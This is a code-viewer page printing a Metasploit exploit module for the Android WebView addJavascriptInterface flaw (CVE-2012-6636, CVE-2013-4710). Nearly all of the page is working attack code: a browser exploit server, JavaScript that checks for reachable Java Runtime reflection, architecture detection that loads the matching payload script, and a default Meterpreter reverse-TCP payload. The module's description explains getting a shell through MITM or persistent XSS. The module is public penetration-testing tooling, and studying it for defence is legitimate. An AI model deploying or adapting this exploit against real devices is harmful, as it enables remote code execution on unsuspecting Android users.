Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/browser/webview_addjavascriptinterface.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::BrowserExploitServer10include Msf::Exploit::Remote::BrowserAutopwn11include Msf::Exploit::Android1213VULN_CHECK_JS = %Q|14for (i in top) {15try {16top[i].getClass().forName('java.lang.Runtime');17is_vuln = true; break;18} catch(e) {}19}20|2122autopwn_info(23:os_name => OperatingSystems::Match::ANDROID,24:arch => ARCH_ARMLE,25:javascript => true,26:rank => ExcellentRanking,27:vuln_test => VULN_CHECK_JS28)2930def initialize(info = {})31super(update_info(info,32'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',33'Description' => %q{34This module exploits a privilege escalation issue in Android < 4.2's WebView component35that arises when untrusted Javascript code is executed by a WebView that has one or more36Interfaces added to it. The untrusted Javascript code can call into the Java Reflection37APIs exposed by the Interface and execute arbitrary commands.3839Some distributions of the Android Browser app have an addJavascriptInterface40call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs414.1.2 release of Android is known to be vulnerable.4243A secondary attack vector involves the WebViews embedded inside a large number44of Android applications. Ad integrations are perhaps the worst offender here.45If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS46into the page displayed in the WebView, then you can inject the html/js served47by this module and get a shell.4849Note: Adding a .js to the URL will return plain javascript (no HTML markup).50},51'License' => MSF_LICENSE,52'Author' => [53'jduck', # original msf module54'joev' # static server55],56'References' => [57['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],58['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],59['URL', 'http://50.56.33.56/blog/?p=314'],60['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],61['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],62['CVE', '2012-6636'], # original CVE for addJavascriptInterface63['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)64['EDB', '31519'],65['OSVDB', '97520']66],67'Platform' => ['android', 'linux'],68'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],69'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },70'Targets' => [ [ 'Automatic', {} ] ],71'DisclosureDate' => '2012-12-21',72'DefaultTarget' => 0,73'BrowserRequirements' => {74:source => 'script',75:os_name => OperatingSystems::Match::ANDROID,76:vuln_test => VULN_CHECK_JS,77:vuln_test_error => 'No vulnerable Java objects were found in this web context.'78}79))8081deregister_options('JsObfuscate')82end8384# Hooked to prevent BrowserExploitServer from attempting to do JS detection85# on requests for the static javascript file86def on_request_uri(cli, req)87if req.uri =~ /\.js/88serve_static_js(cli, req)89else90super91end92end9394# The browser appears to be vulnerable, serve the exploit95def on_request_exploit(cli, req, browser)96arch = normalize_arch(browser[:arch])97print_status "Serving #{arch} exploit..."98send_response_html(cli, html(arch))99end100101# Called when a client requests a .js route.102# This is handy for post-XSS.103def serve_static_js(cli, req)104arch = req.qstring['arch']105response_opts = { 'Content-type' => 'text/javascript' }106107if arch.present?108print_status("Serving javascript for arch #{normalize_arch arch}")109send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)110else111print_status("Serving arch detection javascript")112send_response(cli, static_arch_detect_js, response_opts)113end114end115116# This is served to requests for the static .js file.117# Because we have to use javascript to detect arch, we have 3 different118# versions of the static .js file (x86/mips/arm) to choose from. This119# small snippet of js detects the arch and requests the correct file.120def static_arch_detect_js121%Q|122var arches = {};123arches['#{ARCH_ARMLE}'] = /arm/i;124arches['#{ARCH_MIPSLE}'] = /mips/i;125arches['#{ARCH_X86}'] = /x86/i;126127var arch = null;128for (var name in arches) {129if (navigator.platform.toString().match(arches[name])) {130arch = name;131break;132}133}134135if (arch) {136// load the script with the correct arch137var script = document.createElement('script');138script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);139script.setAttribute('type', 'text/javascript');140141// ensure body is parsed and we won't be in an uninitialized state142setTimeout(function(){143var node = document.body \|\| document.head;144node.appendChild(script);145}, 100);146}147|148end149150# @return [String] normalized client architecture151def normalize_arch(arch)152if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end153end154155def html(arch)156"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"157end158end159160161